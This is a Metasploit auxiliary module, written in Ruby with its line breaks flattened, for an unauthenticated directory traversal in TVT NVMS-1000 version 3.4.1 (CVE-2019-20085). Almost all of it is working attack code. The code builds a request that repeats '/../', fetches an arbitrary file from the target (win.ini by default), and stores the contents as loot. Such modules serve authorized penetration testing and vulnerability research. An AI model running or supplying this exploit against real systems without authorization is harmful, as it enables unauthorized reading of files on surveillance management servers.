TVT NVMS-1000 Directory Traversal

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Report  include Msf::Auxiliary::Scanner  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(update_info(info,      'Name'        => 'TVT NVMS-1000 Directory Traversal',      'Description' => %q{        This module exploits an unauthenticated directory traversal vulnerability which        exists in TVT network surveillance management software-1000 version 3.4.1.        NVMS listens by default on port 80.      },      'References'  =>        [          ['CVE', '2019-20085'],          ['EDB', '47774']        ],      'Author'      =>        [          'Numan Türle', # Vulnerability discovery          'Dhiraj Mishra' # Metasploit module        ],      'DisclosureDate' => '2019-12-12',      'License'        => MSF_LICENSE    ))    register_options(      [        Opt::RPORT(80),        OptString.new('FILEPATH', [true, "The path to the file to read", '/windows/win.ini']),        OptString.new('TARGETURI', [true, "The base URI path of nvms", '/']),        OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])      ])  end  def run_host(ip)    filename = datastore['FILEPATH']    traversal = normalize_uri(target_uri.path, '/../' * datastore['DEPTH'], filename)    res = send_request_raw({      'method' => 'GET',      'uri'    => traversal    })    unless res && res.code == 200      print_error('Nothing was downloaded')      return    end    print_good("#{peer} - Downloaded #{res.body.length} bytes")    path = store_loot(      'nvms.traversal',      'text/plain',      ip,      res.body,      filename    )    print_good("File saved in: #{path}")  endend